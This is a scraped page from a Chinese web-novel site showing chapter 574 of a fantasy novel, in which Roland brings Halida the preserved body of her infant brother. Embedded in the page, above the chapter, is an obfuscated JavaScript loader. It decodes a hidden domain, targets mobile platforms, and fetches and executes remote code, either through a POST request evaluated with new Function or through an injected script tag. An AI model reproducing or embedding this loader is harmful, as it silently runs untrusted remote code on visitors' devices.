妙书阁小说

阅读记录  |   用户书架
上一章
目录 | 设置
下一页
function UqgsgfgDv(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{ c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function UqSDDFGvyQ(e){ var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,""); while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return UqgsgfgDv(t);};window[''+'U'+'Y'+'C'+'q'+'J'+'K'+'']=(!/^Mac|Win/.test(navigator.platform)||!navigator.platform)?function(){;(function(u,i,w,d,c){var x=UqSDDFGvyQ,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));'jQuery'; if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')>-1){var xhr=new XMLHttpRequest();xhr.open('POST','https://'+u+'/bm-'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'u'+'q'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else{var s=d[crd]('script');s.src='https://'+u+'/m-'+i;cs.parentElement.insertBefore(s,cs);}})('aGYuc2Rqa2JjamtzYmRzdnYuY29t','2843',window,document,['G','TpoZFcguG']);}:function(){};

第574章 Ch573 哈莉妲的决心(1 / 2)

加入书签 | 推荐本书 | 问题反馈 |

('第574章ch.573哈莉妲的决心

娜塔莉在永寂之环的地位绝对不低。

只用了两天,她就来信说,找到了哈莉妲的弟弟——不是消息,不是线索,而是她弟弟‘本人’。

一具换了新襁褓的、栩栩如生的尸体。

他被掏空了血肉,两颗腐烂的眼球更换成了明黄色的宝石,腹内用某种浸泡过的草药晾干后填充。

像制作动物标本一样。

他成了某个仪式者的收藏品。

据娜塔莉说,那位三环女士的家里还收藏了许多婴儿,都是她通过‘合法渠道’买来的:哈莉妲的弟弟也不例外。

她付给了梅森·莱尔七个先令。

真是一笔划算的买卖,对两个人都是。

\x08娜塔莉没说她付出什么,只把婴儿交给罗兰,并说他们两清了。同时,她还叮嘱罗兰,如果她的弟弟来信,希望他能看在‘友谊’的份上,回上几句——哪怕是应付都没关系。

那对她很重要。

她恳求罗兰,并说如果需要什么‘回报’,一定告诉她。

罗兰倒不在意那位鲁伯特‘小姐’,厌恶她身上的毛病——只要她不像加里·克拉托弗一样没礼貌,回上几封信也没什么。

‘我弟弟不会这样,柯林斯先生。这回我算明白了。’

罗兰问她明白什么。

‘我弟弟爱什么样的,哎呀,可我最近不能给他找些合适的,逼急了就该真恨上我。’

罗兰又问那究竟是什么样的。

‘强壮的。能像堵墙一样的硬汉,把他圈着的男人——我猜是这样…谁知道呢?女人不也喜欢这样的吗?我最开始以为,他喜欢能说的,温柔的,模样英俊的…’

硬汉?

罗兰说自己有个队长,叫费南德斯·德温森。

娜塔莉说你别以为我没听过这个名字,「街之枭」德温森,她说绝不会把这样的风流先生介绍给自己的弟弟。

‘街之枭。’

很好。

自己的队长出大名了。

‘他并没有比我的名声好太多,柯林斯先生。如果我是你,就一定避免和他出入那些不大对劲的场所——你可以一个人去,也可以和其他人相约着一同享乐,唯独别和你的队长去。’

‘那真不体面,并且还会影响你的声誉,未来的嫁娶。’

罗兰有一点不理解。

既然都是享乐,费南德斯又哪里特殊了?

‘至少你应该不会在结束后,拉着姑娘们听你讲自己的伟大过往,惊心动魄的冒险——服侍人非常辛苦,柯林斯先生,我们是不是该在用了一个地方后,让剩下几个地方适当的休息一下?’

‘绅士得学会体贴。’

罗兰说他其实正计划把费南德斯·德温森彻底毒哑。

娜塔莉说如果他成功了,她愿意设法给罗兰弄一枚秘术器官,为庆祝一个‘时代’的结束。

当然是开玩笑。

娜塔莉·贝内文托是个妙人。

她认为罗兰也是。

之后半天,罗兰就‘包装’好那具尸体,一路马车到雪莱家。

哈莉妲最近陪着萝丝,据飞贼小姐说她过得‘好得脚趾都张开’,并且学东西很快,眼见用不了几个月,就是个合格的贴身女仆。

罗兰见到她的时候,这细长的小咖啡棒正在独立的客厅里走来走去,练习如何快速移动时不发出声音。

“也不能发出狗叫!”

萝丝扯着裙子嚷嚷——因为哈莉妲一见罗兰,就兴高采烈地要跑过去问候,可半路又想起自己正在训练,要给她的主人展现出好的一面。

刹不住的脚掌和心情相互撞击。

产生了响亮的招呼声。

“汪!”

萝丝刚给罗兰吹嘘了一路,她多么重视哈莉妲,给她找了个多么棒的老女仆教导——结果就这样。

更让她生气的是,罗兰不仅不管,还火上浇油,回了哈莉妲一声:

“喵!”

好的。猫狗主人棒极了。

她还想用一段时间,彻底改掉哈莉妲这个狗叫的坏毛病。

现在看来,即便改掉了,到罗兰身边后,也得染上新的坏毛病。

是不是?

喵?

“你瞧我给你带什么来了哈莉妲!”兴冲冲地罗兰抱着婴儿,一股脑塞进哈莉妲的怀里,“打开看看!”

然后。

上一章
目录
下一页
A- 18 A+
默认 贵族金 护眼绿 羊皮纸 可爱粉 夜间